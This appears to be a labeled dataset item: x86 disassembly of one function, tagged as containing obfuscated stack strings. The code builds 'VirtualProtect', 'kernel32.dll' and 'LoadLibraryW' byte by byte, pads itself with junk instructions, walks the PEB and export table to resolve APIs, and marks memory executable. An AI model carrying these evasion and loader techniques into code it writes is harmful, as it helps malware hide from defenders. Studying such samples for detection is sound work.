Function at 0x6400d50a
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
add ecx, 0x79ff
pop ecx
cmp dword [ebp - 0x494], 0
je 0x6400d058
cmp dword [ebp - 0xbfc], 0
jne 0x6400d09e
push edi
call 0x6400d068
add byte [ebx + esi + 0x48], al
inc ecx
inc esp
dec edx
inc ecx
cmp al, 0x38
add esp, 4
add edi, 0x12f13
pop edi
push edx
push ecx
add esp, 4
jmp 0x6400d07c
pop edx
push edx
sub edx, 0x7023
jmp 0x6400d089
pop edx
mov edx, dword [ebp - 0x8bc]
mov dword [ebp - 0x1f44], edx
push 0
call dword [ebp - 0x1f44]
mov dword [ebp - 0x2780], 0xa
push edx
push ebx
add esp, 4
xor edx, 0x16f45
pop edx
push esi
push ebx
add esp, 4
and esi, 0x1054f
or esi, 0x1270
pop esi
push esi
or esi, 0xb2
xor esi, 0x6894
add esi, 0x14f8f
pop esi
mov eax, dword [ebp - 0x494]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x446], cl
mov edx, dword [ebp - 0xbfc]
sub edx, dword [ebp - 0x494]
mov dword [ebp - 0x19a8], edx
mov dword [ebp - 0xee8], 0
push edx
call 0x6400d116
add byte [esi + 0x3b], cl
dec esi
dec ebp
xor eax, 0x34403c49
inc edi
add esp, 4
sub edx, 0x18612
pop edx
push ecx
or ecx, 0x11609
call 0x6400d133
add byte [ebp + 0x37], al
xor eax, dword [edi + 0x39]
dec edi
add esp, 4
pop ecx
mov byte [ebp - 0xb5c], 0x56
mov byte [ebp - 0xb5b], 0x69
mov byte [ebp - 0xb5a], 0x72
mov byte [ebp - 0xb59], 0x74
mov byte [ebp - 0xb58], 0x75
mov byte [ebp - 0xb57], 0x61
mov byte [ebp - 0xb56], 0x6c
mov byte [ebp - 0xb55], 0x50
mov byte [ebp - 0xb54], 0x72
mov byte [ebp - 0xb53], 0x6f
mov byte [ebp - 0xb52], 0x74
mov byte [ebp - 0xb51], 0x65
mov byte [ebp - 0xb50], 0x63
mov byte [ebp - 0xb4f], 0x74
mov byte [ebp - 0xb4e], 0
push eax
jmp 0x6400d1a6
add eax, 0x178d2
pop eax
push ebx
push edx
add esp, 4
xor ebx, 0x1674b
pop ebx
push ecx
xor ecx, 0x126c5
xor ecx, 0xdf46
pop ecx
push edx
push edx
add esp, 4
jmp 0x6400d1d1
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1f48], eax
mov ecx, dword [ebp - 0x1f48]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1f4c], edx
mov eax, dword [ebp - 0x1f4c]
mov dword [ebp - 0x1928], eax
push esi
push edx
add esp, 4
or esi, 0x1595e
add esi, 0x15ee9
add esi, 0x78e3
pop esi
push esi
or esi, 0x12a3e
sub esi, 0xd53c
add esi, 0xfef4
or esi, 0x829e
pop esi
cmp dword [ebp - 0x1928], 0
jne 0x6400d243
mov dword [ebp - 0x394], 0
jmp 0x6400d4ea
mov ecx, dword [ebp - 0x1928]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xec4], eax
push ecx
or ecx, 0x11209
sub ecx, 0x10b5b
or ecx, 0xcc09
pop ecx
push esi
push eax
add esp, 4
or esi, 0x8055
add esi, 0x60c9
xor esi, 0x10012
jmp 0x6400d286
pop esi
cmp dword [ebp - 0xec4], 0
jne 0x6400d29f
mov dword [ebp - 0x394], 0
jmp 0x6400d4ea
mov ecx, dword [ebp - 0xec4]
mov dword [ebp - 0x5d4], ecx
push esi
xor esi, 0x11ca2
add esi, 0xe37f
and esi, 0xe5a1
pop esi
push esi
or esi, 0xff95
xor esi, 0x7e4e
pop esi
push eax
or eax, 0x46ff
pop eax
push ebx
or ebx, 0xde04
pop ebx
lea edx, [ebp - 0x1a68]
mov dword [ebp - 0xec0], edx
mov eax, dword [ebp - 0x5d4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xebc], ecx
xor edx, edx
mov word [ebp - 0x270], dx
xor eax, eax
mov word [ebp - 0x40], ax
push esi
push edi
add esp, 4
call 0x6400d318
add byte [ebp + 0x3b], al
inc edx
dec edx
inc ecx
xor eax, dword [ebx - 0x117efb3c]
adc eax, 0xe8000021
or dword [eax], eax
add byte [eax], al
add byte [eax], bh
inc esi
cmp byte [ebx + 0x4d], al
dec esi
xor ecx, dword [edx - 0x7d]
les eax, [ecx + eax*4]
invalid
push edi
push esi
add esp, 4
or edi, 0x877e
jmp 0x6400d4fb
call 0x6400d50a
add byte [edx + 0x34], cl
dec edx
inc ecx
inc esp
xor eax, 0x8104c483
imul esi
adc byte [ecx], al
add byte [edi + 0x50], bl
or eax, 0x98cf
pop eax
cmp dword [ebp - 0x394], 0
jne 0x6400de21
mov eax, 0x6b
mov word [ebp - 0x1ae4], ax
mov ecx, 0x65
mov word [ebp - 0x1ae2], cx
mov edx, 0x72
mov word [ebp - 0x1ae0], dx
mov eax, 0x6e
mov word [ebp - 0x1ade], ax
mov ecx, 0x65
mov word [ebp - 0x1adc], cx
mov edx, 0x6c
mov word [ebp - 0x1ada], dx
mov eax, 0x33
mov word [ebp - 0x1ad8], ax
mov ecx, 0x32
mov word [ebp - 0x1ad6], cx
mov edx, 0x2e
mov word [ebp - 0x1ad4], dx
mov eax, 0x64
mov word [ebp - 0x1ad2], ax
mov ecx, 0x6c
mov word [ebp - 0x1ad0], cx
mov edx, 0x6c
mov word [ebp - 0x1ace], dx
xor eax, eax
mov word [ebp - 0x1acc], ax
push esi
xor esi, 0x2903
pop esi
push edi
push edi
add esp, 4
xor edi, 0x108b9
sub edi, 0xe563
and edi, 0x11c64
or edi, 0x71b4
pop edi
push edi
push edx
add esp, 4
or edi, 0x3c4a
pop edi
mov byte [ebp - 0xafc], 0x4c
mov byte [ebp - 0xafb], 0x6f
mov byte [ebp - 0xafa], 0x61
mov byte [ebp - 0xaf9], 0x64
mov byte [ebp - 0xaf8], 0x4c
mov byte [ebp - 0xaf7], 0x69
mov byte [ebp - 0xaf6], 0x62
mov byte [ebp - 0xaf5], 0x72
mov byte [ebp - 0xaf4], 0x61
mov byte [ebp - 0xaf3], 0x72
mov byte [ebp - 0xaf2], 0x79
mov byte [ebp - 0xaf1], 0x57
mov byte [ebp - 0xaf0], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1f50], ecx
mov edx, dword [ebp - 0x1f50]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1f54], eax
mov ecx, dword [ebp - 0x1f54]
mov dword [ebp - 0x1934], ecx
push eax
add eax, 0xfbed
xor eax, 0x6654
call 0x6400d691
add byte [edi], bh
dec edx
dec esp
cmp al, 0x47
inc edi
add esp, 4
pop eax
push esi
sub esi, 0x15dc6
jmp 0x6400d6a2
sub esi, 0x80ec
pop esi
cmp dword [ebp - 0x1934], 0
jne 0x6400d6c1
mov dword [ebp - 0x894], 0
jmp 0x6400d968
mov edx, dword [ebp - 0x1934]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xed0], ecx
push ecx
or ecx, 0xa18c
sub ecx, 0x1966
call 0x6400d6f0
add byte [edx + 0x47], al
dec edx
xor bh, byte [edx]
inc ecx
xor eax, 0xc4833533
add al, 0x59
push esi
push esi
add esp, 4
jmp 0x6400d6fe
sub esi, 0x1407d
pop esi
cmp dword [ebp - 0xed0], 0
jne 0x6400d71d
mov dword [ebp - 0x894], 0
jmp 0x6400d968
mov edx, dword [ebp - 0xed0]
mov dword [ebp - 0x5d8], edx
push eax
push edx
add esp, 4
call 0x6400d73e
add byte [ecx], bh
inc eax
inc ecx
dec esi
cmp cl, byte [edx + 0x4e]
dec ebx
cmp dword [esi], edi
add esp, 4
call 0x6400d74f
add byte [edi], dh
aas
cmp byte [eax + 0x39], cl
dec eax
inc esp
xor eax, dword [ebx + 0x525804c4]
xor edx, 0x625d
pop edx
lea eax, [ebp - 0x1ae4]
mov dword [ebp - 0xecc], eax
mov ecx, dword [ebp - 0x5d8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xec8], edx
xor eax, eax
mov word [ebp - 0x274], ax
xor ecx, ecx
mov word [ebp - 0x44], cx
push edx
or edx, 0x14b73
add edx, 0x8f1e
sub edx, 0x16dfc
pop edx
push edx
push edi
add esp, 4
and edx, 0x2490
xor edx, 0xa481
or edx, 0x100b8
sub edx, 0x9431
pop edx
mov edx, dword [ebp - 0xec8]
mov ax, word [edx]
mov word [ebp - 0x12be], ax
mov ecx, dword [ebp - 0xec8]
add ecx, 2
mov dword [ebp - 0xec8], ecx
mov dx, word [ebp - 0x12be]
mov word [ebp - 0x274], dx
mov eax, dword [ebp - 0xecc]
mov cx, word [eax]
mov word [ebp - 0x12c0], cx
mov edx, dword [ebp - 0xecc]
add edx, 2
mov dword [ebp - 0xecc], edx
mov ax, word [ebp - 0x12c0]
mov word [ebp - 0x44], ax
push ecx
add ecx, 0x1981
sub ecx, 0xa88f
add ecx, 0xbbdc
and ecx, 0xb294
pop ecx
push edx
call 0x6400d836
add byte [edi + 0x49], al
inc edi
xor dh, byte [ecx + eax*2]
inc edi
add esp, 4
and edx, 0x15bef
pop edx
movzx ecx, word [ebp - 0x44]
test ecx, ecx
jne 0x6400d85d
movzx edx, word [ebp - 0x274]
movzx eax, word [ebp - 0x44]
sub edx, eax
mov dword [ebp - 0x193c], edx
jmp 0x6400d8b7
movzx ecx, word [ebp - 0x274]
movzx edx, word [ebp - 0x44]
cmp ecx, edx
je 0x6400d785
movzx eax, word [ebp - 0x274]
xor eax, 0x20
movzx ecx, word [ebp - 0x44]
cmp eax, ecx
je 0x6400d785
movzx edx, word [ebp - 0x274]
movzx eax, word [ebp - 0x44]
cmp edx, eax
jge 0x6400d8a1
mov dword [ebp - 0x1938], 0xffffffff
jmp 0x6400d8ab
mov dword [ebp - 0x1938], 1
mov ecx, dword [ebp - 0x1938]
mov dword [ebp - 0x193c], ecx
cmp dword [ebp - 0x193c], 0
jne 0x6400d900
push esi
xor esi, 0xd938
or esi, 0x1b18
pop esi
push ebx
add ebx, 0xb24
jmp 0x6400d8dd
pop ebx
push edi
jmp 0x6400d8e4
jmp 0x6400d8eb
and edi, 0x2265
pop edi
mov edx, dword [ebp - 0x5d8]
mov dword [ebp - 0x894], edx
jmp 0x6400d968
push edi
push ebx
add esp, 4
sub edi, 0x6a92
pop edi
push esi
push edi
add esp, 4
add esi, 0x14341
pop esi
push ebx
xor ebx, 0xd315
sub ebx, 0x363a
jmp 0x6400d92b
or ebx, 0x157a0
pop ebx
mov eax, dword [ebp - 0x5d8]
mov ecx, dword [eax]
mov dword [ebp - 0x5d8], ecx
mov edx, dword [ebp - 0x5d8]
cmp edx, dword [ebp - 0xed0]
je 0x6400d95e
mov eax, dword [ebp - 0x5d8]
cmp dword [eax + 0x30], 0
jne 0x6400d729
mov dword [ebp - 0x894], 0
push ecx
xor ecx, 0x179d6
or ecx, 0xa8ef
pop ecx
push esi
call 0x6400d984
add byte [esi + 0x4e], al
inc edx
dec esi
aaa
add esp, 4
or esi, 0x15ced
xor esi, 0xc9d1
xor esi, 0x10afa
pop esi
cmp dword [ebp - 0x894], 0
jne 0x6400d9e4
push esi
push eax
add esp, 4
add esi, 0x15916
add esi, 0xcf69
call 0x6400d9c3
add byte [eax], bh
dec edx
cmp edi, dword [esi]
dec edi
cmp dh, byte [ebx]
cmp al, 0x4b
add esp, 4
sub esi, 0xe322
pop esi
push edi
sub edi, 0x16a29
pop edi
mov dword [ebp - 0xbf8], 0
jmp 0x6400e50c
push eax
jmp 0x6400d9ea
xor eax, 0xc9f4
pop eax
push esi
push eax
add esp, 4
sub esi, 0x17c56
pop esi
push ecx
push edx
add esp, 4
add ecx, 0x10cba
jmp 0x6400da0f
or ecx, 0xf156
pop ecx
mov ecx, dword [ebp - 0x894]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3d0], edx
mov dword [ebp - 0x8a4], 0
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x1980], eax
cmp dword [ebp - 0x1980], 0
jne 0x6400da55
mov ecx, dword [ebp - 0x8a4]
mov dword [ebp - 0x490], ecx
jmp 0x6400dd46
mov edx, dword [ebp - 0x1980]
mov eax, dword [ebp - 0x3d0]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1984], eax
jne 0x6400da7d
mov ecx, dword [ebp - 0x8a4]
mov dword [ebp - 0x490], ecx
jmp 0x6400dd46
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1984]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1988], edx
cmp dword [ebp - 0x1988], 0
jne 0x6400daaf
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0x490], eax
jmp 0x6400dd46
mov ecx, dword [ebp - 0x3d0]
add ecx, dword [ebp - 0x1988]
mov dword [ebp - 0x898], ecx
jne 0x6400dad4
mov edx, dword [ebp - 0x8a4]
mov dword [ebp - 0x490], edx
jmp 0x6400dd46
mov eax, dword [ebp - 0x898]
mov ecx, dword [ebp - 0x3d0]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1f58], ecx
mov edx, dword [ebp - 0x898]
mov eax, dword [ebp - 0x3d0]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x2364], eax
mov ecx, dword [ebp - 0x898]
mov edx, dword [ebp - 0x3d0]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1f5c], edx
mov dword [ebp - 0x89c], 0
jmp 0x6400db2e
mov ecx, dword [ebp - 0x898]
mov edx, dword [ebp - 0x89c]
cmp edx, dword [ecx + 0x18]
jae 0x6400dd3a
mov eax, dword [ebp - 0x89c]
mov ecx, dword [ebp - 0x1f58]
mov edx, dword [ebp - 0x3d0]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x8a0], edx
mov eax, dword [ebp - 0x89c]
mov ecx, dword [ebp - 0x2364]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1f5c]
mov ecx, dword [ebp - 0x3d0]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x1f60], ecx
mov dword [ebp - 0x1e0], 0
jmp 0x6400db9e
mov edx, dword [ebp - 0x1e0]
add edx, 1
mov dword [ebp - 0x1e0], edx
mov eax, dword [ebp - 0x8a0]
add eax, dword [ebp - 0x1e0]
movsx ecx, byte [eax]
test ecx, ecx
je 0x6400dc50
mov edx, dword [ebp - 0x1e0]
movsx eax, byte [ebp + edx - 0xafc]
test eax, eax
je 0x6400dc50
push ecx
and ecx, 0x25ec
add ecx, 0xa61d
add ecx, 0xfe8b
xor ecx, 0xa681
pop ecx
push ebx
push esi
add esp, 4
or ebx, 0xe4d0
xor ebx, 0xf0c4
jmp 0x6400dbfc
pop ebx
mov ecx, dword [ebp - 0x8a0]
add ecx, dword [ebp - 0x1e0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1e0]
movsx ecx, byte [ebp + eax - 0xafc]
cmp edx, ecx
je 0x6400dc42
mov edx, dword [ebp - 0x8a0]
add edx, dword [ebp - 0x1e0]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1e0]
movsx edx, byte [ebp + ecx - 0xafc]
cmp eax, edx
jne 0x6400dc49
jmp 0x6400db8f
jmp 0x6400dc50
push ecx
call 0x6400dc5e
add byte [ebx], dh
xor al, byte [ebx + 0x36]
inc esi
dec esi
inc esp
add esp, 4
pop ecx
push edi
and edi, 0xb787
pop edi
push eax
call 0x6400dc78
add byte [edi], dh
aaa
inc ebp
dec esi
inc ebp
xor dl, byte [eax - 0x7d]
les eax, [ecx + eax*4]
enter 0xffffffffffff95e4, 0
add byte [eax - 0x75], bl
test dword [eax - 9], esp
invalid
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0x490], eax
cmp dword [ebp - 0x490], 0
je 0x6400de21
push esi
push ecx
add esp, 4
jmp 0x6400dd5f
and esi, 0xe7a5
jmp 0x6400dd6a
jmp 0x6400dd70
pop esi
push ebx
sub ebx, 0xd1de
sub ebx, 0x146be
and ebx, 0x1a96
pop ebx
mov ecx, dword [ebp - 0x490]
mov dword [ebp - 0x1f64], ecx
push ebx
push eax
add esp, 4
xor ebx, 0x16e70
and ebx, 0x12039
or ebx, 0x13c2b
pop ebx
push ecx
push esi
add esp, 4
and ecx, 0xffdd
pop ecx
push ebx
add ebx, 0x6510
sub ebx, 0xfb4d
pop ebx
mov edx, dword [ebp - 0x1f64]
mov dword [ebp - 0x1f68], edx
lea eax, [ebp - 0x1a68]
push eax
call dword [ebp - 0x1f68]
test eax, eax
jne 0x6400de21
push edx
or edx, 0xd01
jmp 0x6400ddf0
pop edx
push ecx
and ecx, 0x2e72
pop ecx
push esi
xor esi, 0xfc71
jmp 0x6400de07
pop esi
push edx
jmp 0x6400de11
pop edx
mov dword [ebp - 0xbf8], 0
jmp 0x6400e50c
push edx
push edx
add esp, 4
call 0x6400de34
add byte [eax + 0x3a], al
inc ebx
dec ecx
cmp cl, byte [eax + 0x44]
add esp, 4
pop edx
push esi
push ebx
add esp, 4
jmp 0x6400de46
add esi, 0x5593
or esi, 0xeb5d
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1f6c], ecx
mov edx, dword [ebp - 0x1f6c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1f70], eax
mov ecx, dword [ebp - 0x1f70]
mov dword [ebp - 0x1990], ecx
push ebx
call 0x6400de8b
add byte [edi + 0x35], al
cmp al, 0x45
inc edi
xor al, 0x3c
cmp al, 0x41
add esp, 4
xor ebx, 0xbf3e
call 0x6400dea3
add byte [esi + 0x41], al
dec eax
inc edi
inc edi
dec ebx
cmp bh, byte [ebx + eax*4]
les eax, [ecx + eax*4]
retf
push edx
and edx, 0xa5d0
pop edx
push esi
xor esi, 0x6ac0
sub esi, 0x1650a
sub esi, 0x13ee6
pop esi
push edx
or edx, 0x1045
add edx, 0x8e81
jmp 0x6400e53d
pop edx
mov edx, dword [ebp - 0xbf8]
mov dword [ebp - 0x1f84], edx
lea eax, [ebp - 0xee8]
push eax
push 0x40
mov ecx, dword [ebp - 0x19a8]
push ecx
mov edx, dword [ebp - 0x494]
push edx
call dword [ebp - 0x1f84]
test eax, eax
jne 0x6400e5b1
push edi
push ecx
add esp, 4
xor edi, 0xc552
pop edi
push esi
or esi, 0x13d8d
and esi, 0xd9fa
or esi, 0x139a7
add esi, 0x11679
pop esi
push eax
push ebx
add esp, 4
xor eax, 0x2457
pop eax
mov eax, dword [ebp - 0x8bc]
mov dword [ebp - 0x1f88], eax
push 0
call dword [ebp - 0x1f88]
mov ecx, dword [ebp - 0x1f8c]
mov dword [ebp - 0x8b8], ecx
jmp 0x6400e5ce